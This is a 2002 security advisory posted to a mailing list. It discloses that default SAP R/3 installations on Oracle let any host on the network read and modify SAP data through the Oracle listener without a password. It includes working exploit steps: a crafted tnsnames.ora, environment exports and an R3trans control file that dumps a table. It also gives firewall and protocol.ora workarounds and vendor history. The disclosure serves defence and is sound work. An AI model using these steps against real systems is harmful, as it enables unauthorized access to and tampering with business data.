Date: Sat, 27 Apr 2002 09:06:19 +0200
From: Jochen Hein <[email protected]>
To: [email protected]Subject: SAP R/3 on Oracle: vulnerable Default Installation
SAP R/3 on Oracle: vulnerable Default Installation
Topic: SAP R/3 on Oracle: vulnerable Default Installation
Module: Default Oracle Listener Configuration
Announced: 2002-04-27
Affects: All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10)
Vendor: [1]SAP AG, Walldorf, Germany
Vendor-Status: 2002-03-03: informed
2002-03-05: problem acknowledged
Synopsis
Every user having network access to the oracle listener port on the
database host may read/write/modify any SAP data.
Exploit
Needed knowledge: IP address (and port) of the database host and the
System ID (SID). You may get them with a packet sniffer, social
engineering or just running sapinfo against a running SAP R/3. sapinfo
also tells you the R/3 release, which we'll need (we use R3trans of
that release.
With these informations an attacker can create a local user sidadm,
craft a tnsnames.ora and an environment for running R3trans.
SID.world =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS =
(COMMUNITY = sap.world)
(PROTOCOL = TCP)
(Host = hostname)
(Port = 1527)
)
)
(CONNECT_DATA =
(SID = SID)
(GLOBAL_NAME = SID.world)
)
)
And running the commands (note you need the R3trans from the target
R/3 release):
sidadm> export TNS_ADMIN=$HOME/
sidadm> export ORACLE_HOME=/oracle/SID
sidadm> export ORACLE_SID=SID
sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run"
sidadm> export dbms_type=oraexport DIR_LIBRARY=/usr/sap/SID/SYS/exe/run
sidadm> export dbs_ora_tnsname=SID
sidadm> export TNS_ADMIN=/home/sidadm
sidadm> cat control
export
compress=no
client=000
# select table where name = T000
select * from t000
sidadm> R3trans control
...
sidadm> strings trans.dat
...
q 000SAP AG Walldorf DEM [...]
q 001Auslieferungsmandant R11 Kundstadt EUR [...]
...
Impact
Any user on the local network can access any SAP data read/write
without password. No SAP authority checks are applied.
Affected Versions
All R/3 Releases using SQL*net V2 (3.x, 4.x, 6.10), regardless of the
Oracle release.
I don't have access to SAP R/3 on other databases, so I can't comment
on wether or not they are affected. The vulnerability affects both
Unix and NT.
Workaround
Workaround is to restrict access to the Oracle port either with
network means (a firewall) or using the following protocol.ora options
on the database server:
tcp.nodelay = true
tcp.validnode_checking = yes
tcp.invited_nodes = ( hostname, hostname )
Proposed Fixes
SAP should document the impact of not protecting the database port in
the security guide. As of now most customers ignore that.
SAP should have added a default protocol.ora to the default
installation and/or to the installation guides. And SAP should not use
words like "may gain". Spell the consequences out!
SAP should document that changing the database password will not
protect the database at all when network access to the listener is
possible.
Vendor Status
SAP knows that problem since at least November 1999
SAP says in the "security guide":
"By placing your SAP system servers in a separate subnet, you increase
the access control to your server LAN, thereby increasing the security
level of your system."
This is very vague. Most SAP customers are afraid to add a firewall
because that may be a single point of failure and is not seemed
neccesary in a "trusted" LAN.
"We discourage placing SAP System servers into any existing subnet
without first considering the appropriate security issues".
Uh, and what are these issues? SAP spells never out that there is
otherwise NO protection AT ALL.
There is also a paragraph about Packet Filers:
"By specifying a set of rules based on IP addresses and TCP ports, you
can select which kinds of network services are accessible over the
network. You should configure your router or packet filter to route
connecttions to a defined subset of ports only, based on the services
that you require."
Remarks
SAP knows of this hole since at least 1999. This hole has been
documented in books about SAP security and on the Internet since July
2000, but SAP never alerted its customers or changed the default
installation.
A recent alert to SAP resulted in a "thanks, we are working on a fix",
but SAP failed to give a timeframe or strategy they follow to fix the
problem. Since the last response was more than a month back, I decided
to publish this advisory anyway.
SAP has never issued a public acknowledge, and has no prominent
website available to check for security issues and fixes. No, the SAP
security guide is not sufficient.
The feedback from SAP has first been timely, but never useful for
their customers.
References
A complete exploit and more remarks are (in German) [2]here.
OSS note 186119.
_______________________________________________________________
[3]Jochen Hein
Last modified: Sat Apr 27 08:59:06 CEST 2002
Verweise
1. http://www.sap.com/
2. http://www.lan-ks.de/~jochen/sap-r3/ora-hack.html
3. mailto:[email protected]
--
#include <~/.signature>: permission denied
